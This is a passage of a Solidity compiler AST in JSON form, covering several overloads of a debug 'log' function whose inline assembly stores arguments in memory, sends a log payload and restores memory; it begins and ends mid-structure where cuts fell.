c":"107011:4:22","nodeType":"YulLiteral","src":"107011:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"107017:2:22","nodeType":"YulIdentifier","src":"107017:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107004:6:22","nodeType":"YulIdentifier","src":"107004:6:22"},"nativeSrc":"107004:16:22","nodeType":"YulFunctionCall","src":"107004:16:22"},"nativeSrc":"107004:16:22","nodeType":"YulExpressionStatement","src":"107004:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107040:4:22","nodeType":"YulLiteral","src":"107040:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"107046:2:22","nodeType":"YulIdentifier","src":"107046:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107033:6:22","nodeType":"YulIdentifier","src":"107033:6:22"},"nativeSrc":"107033:16:22","nodeType":"YulFunctionCall","src":"107033:16:22"},"nativeSrc":"107033:16:22","nodeType":"YulExpressionStatement","src":"107033:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107069:4:22","nodeType":"YulLiteral","src":"107069:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"107075:2:22","nodeType":"YulIdentifier","src":"107075:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107062:6:22","nodeType":"YulIdentifier","src":"107062:6:22"},"nativeSrc":"107062:16:22","nodeType":"YulFunctionCall","src":"107062:16:22"},"nativeSrc":"107062:16:22","nodeType":"YulExpressionStatement","src":"107062:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107098:4:22","nodeType":"YulLiteral","src":"107098:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"107104:4:22","nodeType":"YulLiteral","src":"107104:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"107091:6:22","nodeType":"YulIdentifier","src":"107091:6:22"},"nativeSrc":"107091:18:22","nodeType":"YulFunctionCall","src":"107091:18:22"},"nativeSrc":"107091:18:22","nodeType":"YulExpressionStatement","src":"107091:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107134:4:22","nodeType":"YulLiteral","src":"107134:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"107140:2:22","nodeType":"YulIdentifier","src":"107140:2:22"}],"functionName":{"name":"writeString","nativeSrc":"107122:11:22","nodeType":"YulIdentifier","src":"107122:11:22"},"nativeSrc":"107122:21:22","nodeType":"YulFunctionCall","src":"107122:21:22"},"nativeSrc":"107122:21:22","nodeType":"YulExpressionStatement","src":"107122:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37194,"isOffset":false,"isSlot":false,"src":"106697:2:22","valueSize":1},{"declaration":37197,"isOffset":false,"isSlot":false,"src":"106727:2:22","valueSize":1},{"declaration":37200,"isOffset":false,"isSlot":false,"src":"106757:2:22","valueSize":1},{"declaration":37203,"isOffset":false,"isSlot":false,"src":"106787:2:22","valueSize":1},{"declaration":37206,"isOffset":false,"isSlot":false,"src":"106817:2:22","valueSize":1},{"declaration":37209,"isOffset":false,"isSlot":false,"src":"106847:2:22","valueSize":1},{"declaration":37212,"isOffset":false,"isSlot":false,"src":"106877:2:22","valueSize":1},{"declaration":37184,"isOffset":false,"isSlot":false,"src":"107017:2:22","valueSize":1},{"declaration":37186,"isOffset":false,"isSlot":false,"src":"107046:2:22","valueSize":1},{"declaration":37188,"isOffset":false,"isSlot":false,"src":"107075:2:22","valueSize":1},{"declaration":37190,"isOffset":false,"isSlot":false,"src":"107140:2:22","valueSize":1}],"id":37214,"nodeType":"InlineAssembly","src":"106319:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37216,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"107178:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":37217,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"107184:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":37215,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"107162:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37218,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"107162:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37219,"nodeType":"ExpressionStatement","src":"107162:27:22"},{"AST":{"nativeSrc":"107208:214:22","nodeType":"YulBlock","src":"107208:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"107229:4:22","nodeType":"YulLiteral","src":"107229:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"107235:2:22","nodeType":"YulIdentifier","src":"107235:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107222:6:22","nodeType":"YulIdentifier","src":"107222:6:22"},"nativeSrc":"107222:16:22","nodeType":"YulFunctionCall","src":"107222:16:22"},"nativeSrc":"107222:16:22","nodeType":"YulExpressionStatement","src":"107222:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107258:4:22","nodeType":"YulLiteral","src":"107258:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"107264:2:22","nodeType":"YulIdentifier","src":"107264:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107251:6:22","nodeType":"YulIdentifier","src":"107251:6:22"},"nativeSrc":"107251:16:22","nodeType":"YulFunctionCall","src":"107251:16:22"},"nativeSrc":"107251:16:22","nodeType":"YulExpressionStatement","src":"107251:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107287:4:22","nodeType":"YulLiteral","src":"107287:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"107293:2:22","nodeType":"YulIdentifier","src":"107293:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107280:6:22","nodeType":"YulIdentifier","src":"107280:6:22"},"nativeSrc":"107280:16:22","nodeType":"YulFunctionCall","src":"107280:16:22"},"nativeSrc":"107280:16:22","nodeType":"YulExpressionStatement","src":"107280:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107316:4:22","nodeType":"YulLiteral","src":"107316:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"107322:2:22","nodeType":"YulIdentifier","src":"107322:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107309:6:22","nodeType":"YulIdentifier","src":"107309:6:22"},"nativeSrc":"107309:16:22","nodeType":"YulFunctionCall","src":"107309:16:22"},"nativeSrc":"107309:16:22","nodeType":"YulExpressionStatement","src":"107309:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107345:4:22","nodeType":"YulLiteral","src":"107345:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"107351:2:22","nodeType":"YulIdentifier","src":"107351:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107338:6:22","nodeType":"YulIdentifier","src":"107338:6:22"},"nativeSrc":"107338:16:22","nodeType":"YulFunctionCall","src":"107338:16:22"},"nativeSrc":"107338:16:22","nodeType":"YulExpressionStatement","src":"107338:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107374:4:22","nodeType":"YulLiteral","src":"107374:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"107380:2:22","nodeType":"YulIdentifier","src":"107380:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107367:6:22","nodeType":"YulIdentifier","src":"107367:6:22"},"nativeSrc":"107367:16:22","nodeType":"YulFunctionCall","src":"107367:16:22"},"nativeSrc":"107367:16:22","nodeType":"YulExpressionStatement","src":"107367:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107403:4:22","nodeType":"YulLiteral","src":"107403:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"107409:2:22","nodeType":"YulIdentifier","src":"107409:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107396:6:22","nodeType":"YulIdentifier","src":"107396:6:22"},"nativeSrc":"107396:16:22","nodeType":"YulFunctionCall","src":"107396:16:22"},"nativeSrc":"107396:16:22","nodeType":"YulExpressionStatement","src":"107396:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37194,"isOffset":false,"isSlot":false,"src":"107235:2:22","valueSize":1},{"declaration":37197,"isOffset":false,"isSlot":false,"src":"107264:2:22","valueSize":1},{"declaration":37200,"isOffset":false,"isSlot":false,"src":"107293:2:22","valueSize":1},{"declaration":37203,"isOffset":false,"isSlot":false,"src":"107322:2:22","valueSize":1},{"declaration":37206,"isOffset":false,"isSlot":false,"src":"107351:2:22","valueSize":1},{"declaration":37209,"isOffset":false,"isSlot":false,"src":"107380:2:22","valueSize":1},{"declaration":37212,"isOffset":false,"isSlot":false,"src":"107409:2:22","valueSize":1}],"id":37220,"nodeType":"InlineAssembly","src":"107199:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"106109:3:22","parameters":{"id":37191,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37184,"mutability":"mutable","name":"p0","nameLocation":"106121:2:22","nodeType":"VariableDeclaration","scope":37222,"src":"106113:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37183,"name":"address","nodeType":"ElementaryTypeName","src":"106113:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37186,"mutability":"mutable","name":"p1","nameLocation":"106130:2:22","nodeType":"VariableDeclaration","scope":37222,"src":"106125:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37185,"name":"bool","nodeType":"ElementaryTypeName","src":"106125:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37188,"mutability":"mutable","name":"p2","nameLocation":"106139:2:22","nodeType":"VariableDeclaration","scope":37222,"src":"106134:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37187,"name":"bool","nodeType":"ElementaryTypeName","src":"106134:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37190,"mutability":"mutable","name":"p3","nameLocation":"106151:2:22","nodeType":"VariableDeclaration","scope":37222,"src":"106143:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37189,"name":"bytes32","nodeType":"ElementaryTypeName","src":"106143:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"106112:42:22"},"returnParameters":{"id":37192,"nodeType":"ParameterList","parameters":[],"src":"106169:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37256,"nodeType":"FunctionDefinition","src":"107434:786:22","nodes":[],"body":{"id":37255,"nodeType":"Block","src":"107506:714:22","nodes":[],"statements":[{"assignments":[37234],"declarations":[{"constant":false,"id":37234,"mutability":"mutable","name":"m0","nameLocation":"107524:2:22","nodeType":"VariableDeclaration","scope":37255,"src":"107516:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37233,"name":"bytes32","nodeType":"ElementaryTypeName","src":"107516:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37235,"nodeType":"VariableDeclarationStatement","src":"107516:10:22"},{"assignments":[37237],"declarations":[{"constant":false,"id":37237,"mutability":"mutable","name":"m1","nameLocation":"107544:2:22","nodeType":"VariableDeclaration","scope":37255,"src":"107536:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37236,"name":"bytes32","nodeType":"ElementaryTypeName","src":"107536:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37238,"nodeType":"VariableDeclarationStatement","src":"107536:10:22"},{"assignments":[37240],"declarations":[{"constant":false,"id":37240,"mutability":"mutable","name":"m2","nameLocation":"107564:2:22","nodeType":"VariableDeclaration","scope":37255,"src":"107556:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37239,"name":"bytes32","nodeType":"ElementaryTypeName","src":"107556:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37241,"nodeType":"VariableDeclarationStatement","src":"107556:10:22"},{"assignments":[37243],"declarations":[{"constant":false,"id":37243,"mutability":"mutable","name":"m3","nameLocation":"107584:2:22","nodeType":"VariableDeclaration","scope":37255,"src":"107576:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37242,"name":"bytes32","nodeType":"ElementaryTypeName","src":"107576:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37244,"nodeType":"VariableDeclarationStatement","src":"107576:10:22"},{"assignments":[37246],"declarations":[{"constant":false,"id":37246,"mutability":"mutable","name":"m4","nameLocation":"107604:2:22","nodeType":"VariableDeclaration","scope":37255,"src":"107596:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37245,"name":"bytes32","nodeType":"ElementaryTypeName","src":"107596:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37247,"nodeType":"VariableDeclarationStatement","src":"107596:10:22"},{"AST":{"nativeSrc":"107625:378:22","nodeType":"YulBlock","src":"107625:378:22","statements":[{"nativeSrc":"107639:17:22","nodeType":"YulAssignment","src":"107639:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"107651:4:22","nodeType":"YulLiteral","src":"107651:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"107645:5:22","nodeType":"YulIdentifier","src":"107645:5:22"},"nativeSrc":"107645:11:22","nodeType":"YulFunctionCall","src":"107645:11:22"},"variableNames":[{"name":"m0","nativeSrc":"107639:2:22","nodeType":"YulIdentifier","src":"107639:2:22"}]},{"nativeSrc":"107669:17:22","nodeType":"YulAssignment","src":"107669:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"107681:4:22","nodeType":"YulLiteral","src":"107681:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"107675:5:22","nodeType":"YulIdentifier","src":"107675:5:22"},"nativeSrc":"107675:11:22","nodeType":"YulFunctionCall","src":"107675:11:22"},"variableNames":[{"name":"m1","nativeSrc":"107669:2:22","nodeType":"YulIdentifier","src":"107669:2:22"}]},{"nativeSrc":"107699:17:22","nodeType":"YulAssignment","src":"107699:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"107711:4:22","nodeType":"YulLiteral","src":"107711:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"107705:5:22","nodeType":"YulIdentifier","src":"107705:5:22"},"nativeSrc":"107705:11:22","nodeType":"YulFunctionCall","src":"107705:11:22"},"variableNames":[{"name":"m2","nativeSrc":"107699:2:22","nodeType":"YulIdentifier","src":"107699:2:22"}]},{"nativeSrc":"107729:17:22","nodeType":"YulAssignment","src":"107729:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"107741:4:22","nodeType":"YulLiteral","src":"107741:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"107735:5:22","nodeType":"YulIdentifier","src":"107735:5:22"},"nativeSrc":"107735:11:22","nodeType":"YulFunctionCall","src":"107735:11:22"},"variableNames":[{"name":"m3","nativeSrc":"107729:2:22","nodeType":"YulIdentifier","src":"107729:2:22"}]},{"nativeSrc":"107759:17:22","nodeType":"YulAssignment","src":"107759:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"107771:4:22","nodeType":"YulLiteral","src":"107771:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"107765:5:22","nodeType":"YulIdentifier","src":"107765:5:22"},"nativeSrc":"107765:11:22","nodeType":"YulFunctionCall","src":"107765:11:22"},"variableNames":[{"name":"m4","nativeSrc":"107759:2:22","nodeType":"YulIdentifier","src":"107759:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107860:4:22","nodeType":"YulLiteral","src":"107860:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"107866:10:22","nodeType":"YulLiteral","src":"107866:10:22","type":"","value":"0xccf790a1"}],"functionName":{"name":"mstore","nativeSrc":"107853:6:22","nodeType":"YulIdentifier","src":"107853:6:22"},"nativeSrc":"107853:24:22","nodeType":"YulFunctionCall","src":"107853:24:22"},"nativeSrc":"107853:24:22","nodeType":"YulExpressionStatement","src":"107853:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107897:4:22","nodeType":"YulLiteral","src":"107897:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"107903:2:22","nodeType":"YulIdentifier","src":"107903:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107890:6:22","nodeType":"YulIdentifier","src":"107890:6:22"},"nativeSrc":"107890:16:22","nodeType":"YulFunctionCall","src":"107890:16:22"},"nativeSrc":"107890:16:22","nodeType":"YulExpressionStatement","src":"107890:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107926:4:22","nodeType":"YulLiteral","src":"107926:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"107932:2:22","nodeType":"YulIdentifier","src":"107932:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107919:6:22","nodeType":"YulIdentifier","src":"107919:6:22"},"nativeSrc":"107919:16:22","nodeType":"YulFunctionCall","src":"107919:16:22"},"nativeSrc":"107919:16:22","nodeType":"YulExpressionStatement","src":"107919:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107955:4:22","nodeType":"YulLiteral","src":"107955:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"107961:2:22","nodeType":"YulIdentifier","src":"107961:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107948:6:22","nodeType":"YulIdentifier","src":"107948:6:22"},"nativeSrc":"107948:16:22","nodeType":"YulFunctionCall","src":"107948:16:22"},"nativeSrc":"107948:16:22","nodeType":"YulExpressionStatement","src":"107948:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"107984:4:22","nodeType":"YulLiteral","src":"107984:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"107990:2:22","nodeType":"YulIdentifier","src":"107990:2:22"}],"functionName":{"name":"mstore","nativeSrc":"107977:6:22","nodeType":"YulIdentifier","src":"107977:6:22"},"nativeSrc":"107977:16:22","nodeType":"YulFunctionCall","src":"107977:16:22"},"nativeSrc":"107977:16:22","nodeType":"YulExpressionStatement","src":"107977:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37234,"isOffset":false,"isSlot":false,"src":"107639:2:22","valueSize":1},{"declaration":37237,"isOffset":false,"isSlot":false,"src":"107669:2:22","valueSize":1},{"declaration":37240,"isOffset":false,"isSlot":false,"src":"107699:2:22","valueSize":1},{"declaration":37243,"isOffset":false,"isSlot":false,"src":"107729:2:22","valueSize":1},{"declaration":37246,"isOffset":false,"isSlot":false,"src":"107759:2:22","valueSize":1},{"declaration":37224,"isOffset":false,"isSlot":false,"src":"107903:2:22","valueSize":1},{"declaration":37226,"isOffset":false,"isSlot":false,"src":"107932:2:22","valueSize":1},{"declaration":37228,"isOffset":false,"isSlot":false,"src":"107961:2:22","valueSize":1},{"declaration":37230,"isOffset":false,"isSlot":false,"src":"107990:2:22","valueSize":1}],"id":37248,"nodeType":"InlineAssembly","src":"107616:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37250,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"108028:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37251,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"108034:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37249,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"108012:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37252,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"108012:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37253,"nodeType":"ExpressionStatement","src":"108012:27:22"},{"AST":{"nativeSrc":"108058:156:22","nodeType":"YulBlock","src":"108058:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"108079:4:22","nodeType":"YulLiteral","src":"108079:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"108085:2:22","nodeType":"YulIdentifier","src":"108085:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108072:6:22","nodeType":"YulIdentifier","src":"108072:6:22"},"nativeSrc":"108072:16:22","nodeType":"YulFunctionCall","src":"108072:16:22"},"nativeSrc":"108072:16:22","nodeType":"YulExpressionStatement","src":"108072:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108108:4:22","nodeType":"YulLiteral","src":"108108:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"108114:2:22","nodeType":"YulIdentifier","src":"108114:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108101:6:22","nodeType":"YulIdentifier","src":"108101:6:22"},"nativeSrc":"108101:16:22","nodeType":"YulFunctionCall","src":"108101:16:22"},"nativeSrc":"108101:16:22","nodeType":"YulExpressionStatement","src":"108101:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108137:4:22","nodeType":"YulLiteral","src":"108137:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"108143:2:22","nodeType":"YulIdentifier","src":"108143:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108130:6:22","nodeType":"YulIdentifier","src":"108130:6:22"},"nativeSrc":"108130:16:22","nodeType":"YulFunctionCall","src":"108130:16:22"},"nativeSrc":"108130:16:22","nodeType":"YulExpressionStatement","src":"108130:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108166:4:22","nodeType":"YulLiteral","src":"108166:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"108172:2:22","nodeType":"YulIdentifier","src":"108172:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108159:6:22","nodeType":"YulIdentifier","src":"108159:6:22"},"nativeSrc":"108159:16:22","nodeType":"YulFunctionCall","src":"108159:16:22"},"nativeSrc":"108159:16:22","nodeType":"YulExpressionStatement","src":"108159:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108195:4:22","nodeType":"YulLiteral","src":"108195:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"108201:2:22","nodeType":"YulIdentifier","src":"108201:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108188:6:22","nodeType":"YulIdentifier","src":"108188:6:22"},"nativeSrc":"108188:16:22","nodeType":"YulFunctionCall","src":"108188:16:22"},"nativeSrc":"108188:16:22","nodeType":"YulExpressionStatement","src":"108188:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37234,"isOffset":false,"isSlot":false,"src":"108085:2:22","valueSize":1},{"declaration":37237,"isOffset":false,"isSlot":false,"src":"108114:2:22","valueSize":1},{"declaration":37240,"isOffset":false,"isSlot":false,"src":"108143:2:22","valueSize":1},{"declaration":37243,"isOffset":false,"isSlot":false,"src":"108172:2:22","valueSize":1},{"declaration":37246,"isOffset":false,"isSlot":false,"src":"108201:2:22","valueSize":1}],"id":37254,"nodeType":"InlineAssembly","src":"108049:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"107443:3:22","parameters":{"id":37231,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37224,"mutability":"mutable","name":"p0","nameLocation":"107455:2:22","nodeType":"VariableDeclaration","scope":37256,"src":"107447:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37223,"name":"address","nodeType":"ElementaryTypeName","src":"107447:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37226,"mutability":"mutable","name":"p1","nameLocation":"107464:2:22","nodeType":"VariableDeclaration","scope":37256,"src":"107459:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37225,"name":"bool","nodeType":"ElementaryTypeName","src":"107459:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37228,"mutability":"mutable","name":"p2","nameLocation":"107476:2:22","nodeType":"VariableDeclaration","scope":37256,"src":"107468:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37227,"name":"uint256","nodeType":"ElementaryTypeName","src":"107468:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37230,"mutability":"mutable","name":"p3","nameLocation":"107488:2:22","nodeType":"VariableDeclaration","scope":37256,"src":"107480:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37229,"name":"address","nodeType":"ElementaryTypeName","src":"107480:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"107446:45:22"},"returnParameters":{"id":37232,"nodeType":"ParameterList","parameters":[],"src":"107506:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37290,"nodeType":"FunctionDefinition","src":"108226:780:22","nodes":[],"body":{"id":37289,"nodeType":"Block","src":"108295:711:22","nodes":[],"statements":[{"assignments":[37268],"declarations":[{"constant":false,"id":37268,"mutability":"mutable","name":"m0","nameLocation":"108313:2:22","nodeType":"VariableDeclaration","scope":37289,"src":"108305:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37267,"name":"bytes32","nodeType":"ElementaryTypeName","src":"108305:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37269,"nodeType":"VariableDeclarationStatement","src":"108305:10:22"},{"assignments":[37271],"declarations":[{"constant":false,"id":37271,"mutability":"mutable","name":"m1","nameLocation":"108333:2:22","nodeType":"VariableDeclaration","scope":37289,"src":"108325:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37270,"name":"bytes32","nodeType":"ElementaryTypeName","src":"108325:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37272,"nodeType":"VariableDeclarationStatement","src":"108325:10:22"},{"assignments":[37274],"declarations":[{"constant":false,"id":37274,"mutability":"mutable","name":"m2","nameLocation":"108353:2:22","nodeType":"VariableDeclaration","scope":37289,"src":"108345:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37273,"name":"bytes32","nodeType":"ElementaryTypeName","src":"108345:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37275,"nodeType":"VariableDeclarationStatement","src":"108345:10:22"},{"assignments":[37277],"declarations":[{"constant":false,"id":37277,"mutability":"mutable","name":"m3","nameLocation":"108373:2:22","nodeType":"VariableDeclaration","scope":37289,"src":"108365:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37276,"name":"bytes32","nodeType":"ElementaryTypeName","src":"108365:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37278,"nodeType":"VariableDeclarationStatement","src":"108365:10:22"},{"assignments":[37280],"declarations":[{"constant":false,"id":37280,"mutability":"mutable","name":"m4","nameLocation":"108393:2:22","nodeType":"VariableDeclaration","scope":37289,"src":"108385:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37279,"name":"bytes32","nodeType":"ElementaryTypeName","src":"108385:7:22","typeDescriptions":{"typeIdentifier":"t_bytes3